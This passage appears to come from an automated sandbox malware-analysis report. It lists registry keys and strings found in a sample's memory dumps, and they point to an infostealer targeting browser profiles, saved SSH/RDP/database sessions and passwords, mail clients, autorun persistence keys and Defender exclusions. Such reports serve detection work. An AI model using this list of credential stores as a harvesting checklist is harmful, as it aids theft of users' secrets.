NT\CurrentVersion\AppCompatFlags\Layers" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "SYSTEM\CurrentControlSet\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "SOFTWARE\Microsoft\Windows Defender" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "SOFTWARE\Microsoft\Windows Advanced Threat Protection" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "Software\Classes\http\shell\open\command" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "SOFTWARE\Classes\http\shell\open\command" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "Software\%s\%s-Qt" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "BraveSoftware\Brave-Browser\User Data" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "Opera Software\Opera Stable" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "Opera Software\Opera GX Stable" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "Avast Software\Browser\User Data" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "Opera Software\Opera Neon\User Data" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "Software\Classes\%s\DefaultIcon" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "Software\Classes\%s\shell\open\command" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\%s" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion\Run" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "Software\Valve\Steam" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "Software\Martin Prikryl\WinSCP 2\Configuration\Security" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "Software\Martin Prikryl\WinSCP 2\Sessions" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "Software\Martin Prikryl\WinSCP 2\Sessions\%s" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "SOFTWARE\Classes\Foxmail.url.mailto\Shell\open\command" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "SOFTWARE\Foxmail\Install" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "SOFTWARE\WOW6432Node\Foxmail\Install" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "SOFTWARE\Foxmail" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "SOFTWARE\WOW6432Node\Foxmail" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Foxmail_is1" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Foxmail_is1" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\Foxmail.exe" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "Software\Microsoft\Windows Messaging Subsystem\Profiles\9375CFF0413111d3B88A00104B2A6676" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "Software\Tencent\WeChat" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "Software\Epic Games\EOS" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "Software\Electronic Arts\EA Desktop" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "Software\GOG.com\GalaxyClient\paths" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "BraveSoftware\Brave-Browser-Beta\User Data" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "BraveSoftware\Brave-Browser-Nightly\User Data" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "Opera Software\Opera Crypto Stable" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "Opera Software\Opera Crypto Developer" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "Opera Software\Opera Developer" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "Opera Software\Opera Next" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "AVAST Software\Browser\User Data" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "Software\Microsoft\Windows\CurrentVersion\Uninstall" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "Software\Mobatek\MobaXterm\Sessions" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "Software\Mobatek\MobaXterm\Passwords" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "Software\Mobatek\MobaXterm\Credentials" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "Software\Mobatek\MobaXterm\M" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "Software\SimonTatham\PuTTY\Sessions" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "Software\SimonTatham\PuTTY\Sessions\%s" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "Software\SimonTatham\PuTTY\SshHostKeys" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "Software\9bis.com\KiTTY\Sessions" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "Software\9bis.com\KiTTY\Sessions\%s" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "Software\PremiumSoft\Navicat\Servers" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "Software\PremiumSoft\NavicatPG\Servers" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "Software\PremiumSoft\NavicatMARIADB\Servers" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "Software\PremiumSoft\NavicatMONGODB\Servers" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "Software\PremiumSoft\NavicatMSSQL\Servers" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "Software\PremiumSoft\NavicatORA\Servers" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "Software\PremiumSoft\NavicatSQLite\Servers" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "Software\HeidiSQL\Servers" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "Software\HeidiSQL\Servers\%s" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "Software\Microsoft\Terminal Server Client\Default" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "Software\Microsoft\Terminal Server Client\Servers" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "Software\Microsoft\Terminal Server Client\Servers\%s" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "SYSTEM\CurrentControlSet\Control\Terminal Server" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "SYSTEM\CurrentControlSet\Control\Lsa" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "HKCU\Run" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "HKLM\Run" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "HKCU\RunOnce" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "HKLM\RunOnce" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "HKCU\Policies\Run" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "HKLM\Policies\Run" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "HKLM\Run (32-bit)" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "HKCU\Run (Disabled)" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "HKLM\Run (Disabled)" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "Software\Microsoft\Windows\CurrentVersion\Policies\System" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "SOFTWARE\Policies\Microsoft\Windows\System" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "System\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "SOFTWARE\Policies\Microsoft\Windows\WinRE" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "SYSTEM\CurrentControlSet\Services\USBSTOR" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "SOFTWARE\Policies\Google\Chrome" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "SOFTWARE\Policies\Microsoft\Edge" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "Software\Microsoft\Windows\CurrentVersion\Run" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "SYSTEM\CurrentControlSet\Control\Session Manager" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp4b:T412,Found string ".youtube.com" (Indicator: "youtube"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found string ".facebook.com" (Indicator: "facebook.com"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found string "Twitter/X" (Indicator: "twitter"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found string ".twitter.com" (Indicator: "twitter"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found string ".linkedin.com" (Indicator: "linkedin.com"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found string ".netflix.com" (Indicator: "netflix.com"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found string "PayPal" (Indicator: "paypal"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found string ".paypal.com" (Indicator: "paypal"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin")4c:T439e,"Software\Policies\Microsoft\Internet Explorer\Main" in Source: 00000000-00004616.00000000.148841.F7130000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\" in Source: 00000000-00004616.00000000.148841.F7130000.00000004.mdmp "Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0" in Source: 00000000-00004616.00000000.148841.F7130000.00000004.mdmp "Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1" in Source: 00000000-00004616.00000000.148841.F7130000.00000004.mdmp "Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4" in Source: 00000000-00004616.00000000.148841.F7130000.00000004.mdmp "Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2" in Source: 00000000-00004616.00000000.148841.F7130000.00000004.mdmp "Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3" in Source: 00000000-00004616.00000000.148841.F7130000.00000004.mdmp "HARDWARE\DESCRIPTION\System\CentralProcessor\0" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "%s\BraveSoftware\Brave-Browser\User Data" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "%s\Opera Software\Opera Stable" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\Google Chrome" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "%s\BraveSoftware\Brave-Browser\Application\brave.exe" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "%s\BraveSoftware\Brave-Browser\Application" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "BraveSoftware\Brave-Browser" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "%s\Opera Software\Opera Neon\Application\neon.exe" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "%s\AVAST Software\Browser\Application\AvastBrowser.exe" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "%s\Software\Microsoft\Windows\CurrentVersion\Run" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "SYSTEM\CurrentControlSet\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "SOFTWARE\Microsoft\Windows Defender" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "SOFTWARE\Microsoft\Windows Advanced Threat Protection" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "Software\Classes\http\shell\open\command" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "SOFTWARE\Classes\http\shell\open\command" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "Software\%s\%s-Qt" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "BraveSoftware\Brave-Browser\User Data" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "Opera Software\Opera Stable" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "Opera Software\Opera GX Stable" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "Avast Software\Browser\User Data" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "Opera Software\Opera Neon\User Data" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "Software\Classes\%s\DefaultIcon" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "Software\Classes\%s\shell\open\command" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\%s" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion\Run" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "Software\Valve\Steam" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "Software\Martin Prikryl\WinSCP 2\Configuration\Security" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "Software\Martin Prikryl\WinSCP 2\Sessions" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "Software\Martin Prikryl\WinSCP 2\Sessions\%s" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "SOFTWARE\Classes\Foxmail.url.mailto\Shell\open\command" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "SOFTWARE\Foxmail\Install" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "SOFTWARE\WOW6432Node\Foxmail\Install" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "SOFTWARE\Foxmail" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "SOFTWARE\WOW6432Node\Foxmail" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Foxmail_is1" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Foxmail_is1" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\Foxmail.exe" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "Software\Microsoft\Windows Messaging Subsystem\Profiles\9375CFF0413111d3B88A00104B2A6676" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "Software\Tencent\WeChat" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "Software\Epic Games\EOS" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "Software\Electronic Arts\EA Desktop" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "Software\GOG.com\GalaxyClient\paths" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "BraveSoftware\Brave-Browser-Beta\User Data" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "BraveSoftware\Brave-Browser-Nightly\User Data" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "Opera Software\Opera Crypto Stable" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "Opera Software\Opera Crypto Developer" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "Opera Software\Opera Developer" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "Opera Software\Opera Next" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "AVAST Software\Browser\User Data" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "Software\Microsoft\Windows\CurrentVersion\Uninstall" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "Software\Mobatek\MobaXterm\Sessions" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "Software\Mobatek\MobaXterm\Passwords" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "Software\Mobatek\MobaXterm\Credentials" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "Software\Mobatek\MobaXterm\M" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "Software\SimonTatham\PuTTY\Sessions" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "Software\SimonTatham\PuTTY\Sessions\%s" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "Software\SimonTatham\PuTTY\SshHostKeys" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "Software\9bis.com\KiTTY\Sessions" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "Software\9bis.com\KiTTY\Sessions\%s" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "Software\PremiumSoft\Navicat\Servers" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "Software\PremiumSoft\NavicatPG\Servers" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "Software\PremiumSoft\NavicatMARIADB\Servers" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "Software\PremiumSoft\NavicatMONGODB\Servers" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "Software\PremiumSoft\NavicatMSSQL\Servers" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "Software\PremiumSoft\NavicatORA\Servers" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "Software\PremiumSoft\NavicatSQLite\Servers" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "Software\HeidiSQL\Servers" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "Software\HeidiSQL\Servers\%s" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "Software\Microsoft\Terminal Server Client\Default" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "Software\Microsoft\Terminal Server Client\Servers" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "Software\Microsoft\Terminal Server Client\Servers\%s" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "SYSTEM\CurrentControlSet\Control\Terminal Server" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "SYSTEM\CurrentControlSet\Control\Lsa" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "HKCU\Run" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "HKLM\Run" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "HKCU\RunOnce" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "HKLM\RunOnce" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "HKCU\Policies\Run" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "HKLM\Policies\Run" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "HKLM\Run (32-bit)" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "HKCU\Run (Disabled)" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "HKLM\Run (Disabled)" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "Software\Microsoft\Windows\CurrentVersion\Policies\System" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "SOFTWARE\Policies\Microsoft\Windows\System" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "System\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "SOFTWARE\Policies\Microsoft\Windows\WinRE" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "SYSTEM\CurrentControlSet\Services\USBSTOR" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "SOFTWARE\Policies\Google\Chrome" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "SOFTWARE\Policies\Microsoft\Edge" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "Software\Microsoft\Windows\CurrentVersion\Run" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "SYSTEM\CurrentControlSet\Control\Session Manager" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "\BraveSoftware\Brave-Browser\User Data" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "\AVAST Software\Browser\User Data" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "\BraveSoftware\Brave-Browser\Application\brave.exe" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "\AVAST Software\Browser\Application\AvastBrowser.exe" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "Software\Policies\Microsoft\Internet Explorer\Main" in Source: 00000000-00004616.00000001.150763.F7130000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\" in Source: 00000000-00004616.00000001.150763.F7130000.00000004.mdmp "Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0" in Source: 00000000-00004616.00000001.150763.F7130000.00000004.mdmp "Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1" in Source: 00000000-00004616.00000001.150763.F7130000.00000004.mdmp "Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4" in Source: 00000000-00004616.00000001.150763.F7130000.00000004.mdmp "Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2" in Source: 00000000-00004616.00000001.150763.F7130000.00000004.mdmp "Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3" in Source: 00000000-00004616.00000001.150763.F7130000.00000004.mdmp "Software\Policies\Microsoft\Internet Explorer\Main" in Source: 00000000-00004616.00000002.152681.F7130000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\" in Source: 00000000-00004616.00000002.152681.F7130000.00000004.mdmp "Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0" in Source: 00000000-00004616.00000002.152681.F7130000.00000004.mdmp "Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1" in Source: 00000000-00004616.00000002.152681.F7130000.00000004.mdmp "Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4" in Source: 00000000-00004616.00000002.152681.F7130000.00000004.mdmp "Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2" in Source: 00000000-00004616.00000002.152681.F7130000.00000004.mdmp "Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3" in Source: 00000000-00004616.00000002.152681.F7130000.00000004.mdmp "Software\Policies\Microsoft\Internet Explorer\Main" in Source: 00000000-00004616.00000003.158191.F7130000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\" in Source: 00000000-00004616.00000003.158191.F7130000.00000004.mdmp "Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0" in Source: 00000000-00004616.00000003.158191.F7130000.00000004.mdmp 